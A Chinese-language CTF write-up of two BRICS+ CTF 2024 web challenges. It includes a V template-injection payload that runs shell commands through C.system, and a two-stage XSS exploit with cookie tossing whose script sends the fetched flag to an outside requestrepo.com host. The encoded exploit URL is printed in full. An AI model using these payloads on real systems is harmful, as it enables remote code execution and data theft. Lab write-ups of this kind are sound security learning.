BRICS+ CTF Quals 2024

说在前面

去年我记得是9月这个比赛被举办,题目质量还是很好的,当时爆零了(比赛特别多,不愿意花时间在难的比赛上),5m当时做出了一个题,我说着要复现来着,竟然一直拖到了今天

1
docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)

villa

利用V语言开发的程序,扔进VSCODE看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!DOCTYPE html>
<html lang="en">
<head>
<title>King of the Villa</title>
<meta charset="utf-8">
<style>
body {
color: #223311;
font-size: 3vh;
font-weight: bolder;
background: #009922;
}
h1 {
font-size: 5vh;
margin-left: 10vw;
}
span {
color: #79573a;
text-decoration: underline;
}
label, input, button {
font-size: 4vh;
}
</style>
</head>
<body>
<script>
function load() {
return fetch('/villa', {
method: 'GET',
mode: 'no-cors',
}).then(
res => res.text()
).then(
text => {
document.getElementById('villa').innerHTML = text;
document.getElementById('villa').style.opacity = 1;
}
);
}

function update() {
document.getElementById('villa').style.opacity = 0.5;

return fetch('/villa', {
method: 'POST',
body: document.getElementById('owner').value,
mode: 'no-cors',
});
}

setInterval(load, 2000);
</script>
<div id="villa"></div>
<label for="owner">your name: </label>
<input type="text" placeholder="anonymous" id="owner">
<button onclick="update()">send</button>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
module main

import os
import vweb

struct App {
vweb.Context
}

@['/'; get; post]
fn (mut app App) index() vweb.Result {
return $vweb.html()
}

@['/villa'; get; post]
fn (mut app App) villa() vweb.Result {
if app.req.method == .post {
os.write_file('villa.html', $tmpl('template.html')) or { panic(err) }
}

return $vweb.html()
}

fn main() {
app := &App{}
params := vweb.RunParams{
port: 8080,
nr_workers: 1,
}

vweb.run_at(app, params) or { panic(err) }
}

villa.htmltemplate.html都是一个房子没什么特殊的,就不放了,程序相当简单。唯一可以传参的地方就是/villaowner,会被直接填充进html,进行动态渲染,模版注入,@{1+1}尝试成功

1

并且发现回显其实是在/的,这里发现如果有命令执行函数的话会直接卡死不执行,换行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time

url="http://localhost:8080/"

while True:
try:
data = "\n. '); C.system('cat /f* > villa.html'.str); println(' {\n"
r = requests.post(url+"villa", data)
print(r.text)

response = requests.get(url)
print(response.content)

if b'flag' in response.content:
break
except Exception as e:
print(e)

time.sleep(2)

1

mirage

先修改一下Dockerfile避免内置Chrome发生错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt update \
&& apt install -yq gnupg2 curl sqlite3 socat xxd hashcash

# https://github.com/puppeteer/puppeteer/blob/main/docs/troubleshooting.md
RUN curl -fsSL https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
&& sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
&& apt update \
&& apt install -yq --no-install-recommends gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libnss3 lsb-release xdg-utils \
&& rm -rf /var/lib/apt/lists/*

RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
&& apt install -y nodejs

RUN mkdir -p /nonexistent /tmp/mirage /tmp/bot \
&& chown nobody:nogroup /nonexistent /tmp/mirage /tmp/bot

ENV PUPPETEER_SKIP_DOWNLOAD=true

USER nobody:nogroup

WORKDIR /tmp/bot

RUN npm install puppeteer@22.3.0 \
&& npx puppeteer browsers install chrome@136.0.7103.49

WORKDIR /

USER root

RUN apt install -yq dotnet-sdk-8.0

COPY bot/bot.js /tmp/bot/

COPY mirage /tmp/mirage

COPY entrypoint.sh /entrypoint.sh

RUN chmod +x /entrypoint.sh

RUN mkdir -p /nonexistent/.cache/puppeteer \
&& chown -R nobody:nogroup /nonexistent/.cache
USER nobody:nogroup

CMD /entrypoint.sh
ENV PUPPETEER_EXECUTABLE_PATH=/nonexistent/.cache/puppeteer/chrome/linux-136.0.7103.49/chrome-linux64/chrome
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
const crypto = require("node:crypto");
const process = require('node:process');
const child_process = require('node:child_process');

const puppeteer = require("puppeteer");

const readline = require('readline').createInterface({
input: process.stdin,
output: process.stdout,
terminal: false,
});
readline.ask = str => new Promise(resolve => readline.question(str, resolve));

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

const TIMEOUT = process.env.TIMEOUT || 300 * 1000;
const MIRAGE_URL = process.env.MIRAGE_URL || 'http://localhost:8989/';

const POW_BITS = process.env.POW_BITS || 28;

async function pow() {
const nonce = crypto.randomBytes(8).toString('hex');

console.log('[*] Please solve PoW:');
console.log(`hashcash -q -mb${POW_BITS} ${nonce}`);

const answer = await readline.ask('> ');

const check = child_process.spawnSync(
'/usr/bin/hashcash',
['-q', '-f', '/tmp/bot/hashcash.sdb', `-cdb${POW_BITS}`, '-r', nonce, answer],
);
const correct = (check.status === 0);

if (!correct) {
console.log('[-] Incorrect.');
process.exit(0);
}

console.log('[+] Correct.');
}

async function visit(url) {
const params = {
browser: 'chrome',
args: [
'--no-sandbox',
'--disable-gpu',
'--disable-extensions',
'--js-flags=--jitless',
],
headless: true,
};

const browser = await puppeteer.launch(params);
const context = await browser.createBrowserContext();

const pid = browser.process().pid;

const shutdown = async () => {
await context.close();
await browser.close();

try {
process.kill(pid, 'SIGKILL');
} catch(_) { }

process.exit(0);
};

const page1 = await context.newPage();
await page1.goto(`${MIRAGE_URL}admin`);

await sleep(1000);
await page1.close();

setTimeout(() => shutdown(), TIMEOUT);

const page2 = await context.newPage();
await page2.goto(url);
}

async function main() {
if (POW_BITS > 0) {
await pow();
}

console.log('[?] Please input URL:');
const url = await readline.ask('> ');

if (!url.startsWith(MIRAGE_URL)) {
console.log('[-] Access denied.');
process.exit(0);
}

console.log('[+] OK.');

readline.close()
process.stdin.end();
process.stdout.end();

await visit(url);

await sleep(TIMEOUT);
}

main();

bot和往日的没什么不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System.Net;
using System.Text;

namespace Mirage {
public class Context {
private readonly HttpListenerRequest request;
private readonly HttpListenerResponse response;

public Context(HttpListenerContext context) {
request = context.Request;
response = context.Response;
}

public HttpListenerRequest Request => request;
public HttpListenerResponse Response => response;

public async Task Result(string content) {
var bytes = Encoding.UTF8.GetBytes(content);

await response.OutputStream.WriteAsync(bytes);
await response.OutputStream.DisposeAsync();
}

public string? GetCookie(string name) {
return Request.Cookies[name]?.Value;
}

public void SetCookie(string name, string value) {
Response.AddHeader("Set-Cookie", $"{name}={value}; HttpOnly; SameSite=Lax");
}

public string? GetHeader(string name) {
return Request.Headers[name];
}

public void SetHeader(string name, string value) {
Response.AddHeader(name, value);
}
}
}

简单的一层api,设置HttpOnly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using Mirage;

var server = new Server()
.AddPrefix("http://*:8989/")
.AddMiddleware(async (ctx, next) => {
if (ctx.GetCookie("session") != null) {
ctx.SetHeader(
"Cross-Origin-Resource-Policy", "same-origin"
);
ctx.SetHeader(
"Content-Security-Policy", (
"sandbox allow-scripts allow-same-origin; " +
"base-uri 'none'; " +
"default-src 'none'; " +
"form-action 'none'; " +
"frame-ancestors 'none'; " +
"script-src 'unsafe-inline'; "
)
);
}

await next(ctx);
})
.DefineGet("/admin", async ctx => {
ctx.SetCookie("session", "admin");

await ctx.Result("good luck");
})
.DefineGet("/xss", async ctx => {
var xss = ctx.Request.QueryString.Get("xss");

await ctx.Result(xss ?? "what??");
})
.DefineGet("/flag", async ctx => {
var flag = Environment.GetEnvironmentVariable("FLAG");

await ctx.Result(flag ?? "flag{example_flag}");
});

await server.Run();

Cross-Origin-Resource-Policy: same-origin - 限制资源只能被同源页面加载

Content-Security-Policy - 设置非常严格的内容安全策略,但允许内联脚本和同源操作

1

没做Cookie验证,访问就给,那我等会写个fetch你就知道错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
using System.Net;

namespace Mirage {
using Handler = Func<Context, Task>;
using Middleware = Func<Context, Func<Context, Task>, Task>;

public class Server {
public enum HttpMethod {
Get,
Post,
};

private readonly HttpListener listener;
private readonly List<Middleware> middlewares;
private readonly Dictionary<string, Dictionary<HttpMethod, Handler>> router;

public Server() {
listener = new HttpListener();
middlewares = new List<Middleware>();
router = new Dictionary<string, Dictionary<HttpMethod, Handler>>();
}

public Server AddPrefix(string prefix) {
listener.Prefixes.Add(prefix);

return this;
}

public Server AddMiddleware(Middleware middleware) {
middlewares.Add(middleware);

return this;
}

public Server DefineRoute(string path, HttpMethod method, Handler handler) {
if (!router.ContainsKey(path)) {
router.Add(path, new Dictionary<HttpMethod, Handler>());
}

router[path][method] = handler;

return this;
}

public Server DefineGet(string path, Handler handler) {
return DefineRoute(path, HttpMethod.Get, handler);
}

public Server DefinePost(string path, Handler handler) {
return DefineRoute(path, HttpMethod.Post, handler);
}

public async Task Run(CancellationToken token) {
listener.Start();

while (!token.IsCancellationRequested) {
var context = new Context(
await listener.GetContextAsync()
);

try {
await RouteRequest(context);
} catch (Exception e) {
await context.Result(e.ToString());
}
}

listener.Stop();
}

public Task Run() {
return Run(CancellationToken.None);
}

private async Task RouteRequest(Context context) {
var path = context.Request.Url?.AbsolutePath ?? "/";
var method = ParseHttpMethod(context.Request.HttpMethod);

if (!router.ContainsKey(path)) {
throw new Exception("route not found");
}

var route = router[path];

if (!route.ContainsKey(method)) {
throw new Exception("method is not suported");
}

var handler = route[method];

await CallMiddlewareChain(context, middlewares);

await handler.Invoke(context);
}

private Task CallMiddlewareChain(Context context, IEnumerable<Middleware> middlewares) {
var middleware = middlewares.FirstOrDefault();

if (middleware == null) {
return Task.CompletedTask;
}

return middleware.Invoke(
context,
ctx => CallMiddlewareChain(ctx, middlewares.Skip(1))
);
}

private HttpMethod ParseHttpMethod(string method) {
switch (method.ToLower()) {
case "get":
return HttpMethod.Get;

case "post":
return HttpMethod.Post;

default:
throw new Exception("unknown method");
}
}
}
}

正常的类似写了一个express,所以还是打XSS,利用二次编码进行绕过,污染Cookie之后让bot访问/flag获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

def escape(html: str) -> str:
return ''.join('%' + hex(ord(x))[2:].zfill(2) for x in html)

url = 'http://localhost:8989'
report = 'https://ydpaegf3.requestrepo.com/'

step2 = f'''
<script>
fetch('/flag')
.then(x => x.text())
.then(x => fetch('{report}?flag=' + encodeURIComponent(x)));
</script>
'''

step1 = f'''
<script>
document.cookie = 'x="ss; Path=/xss';
location.href = '/xss?xss={escape(step2)}';
</script>
'''

print(f'{url}/xss?xss={escape(step1)}')
1
http://localhost:8989/xss?xss=%0a%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20%3d%20%27%78%3d%22%73%73%3b%20%50%61%74%68%3d%2f%78%73%73%27%3b%0a%20%20%20%20%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%2f%78%73%73%3f%78%73%73%3d%25%30%61%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%36%36%25%36%35%25%37%34%25%36%33%25%36%38%25%32%38%25%32%37%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%65%25%37%34%25%36%38%25%36%35%25%36%65%25%32%38%25%37%38%25%32%30%25%33%64%25%33%65%25%32%30%25%37%38%25%32%65%25%37%34%25%36%35%25%37%38%25%37%34%25%32%38%25%32%39%25%32%39%25%30%61%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%65%25%37%34%25%36%38%25%36%35%25%36%65%25%32%38%25%37%38%25%32%30%25%33%64%25%33%65%25%32%30%25%36%36%25%36%35%25%37%34%25%36%33%25%36%38%25%32%38%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%37%39%25%36%34%25%37%30%25%36%31%25%36%35%25%36%37%25%36%36%25%33%33%25%32%65%25%37%32%25%36%35%25%37%31%25%37%35%25%36%35%25%37%33%25%37%34%25%37%32%25%36%35%25%37%30%25%36%66%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%33%66%25%36%36%25%36%63%25%36%31%25%36%37%25%33%64%25%32%37%25%32%30%25%32%62%25%32%30%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%35%35%25%35%32%25%34%39%25%34%33%25%36%66%25%36%64%25%37%30%25%36%66%25%36%65%25%36%35%25%36%65%25%37%34%25%32%38%25%37%38%25%32%39%25%32%39%25%32%39%25%33%62%25%30%61%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%30%61%27%3b%0a%3c%2f%73%63%72%69%70%74%3e%0a

1

终于收到了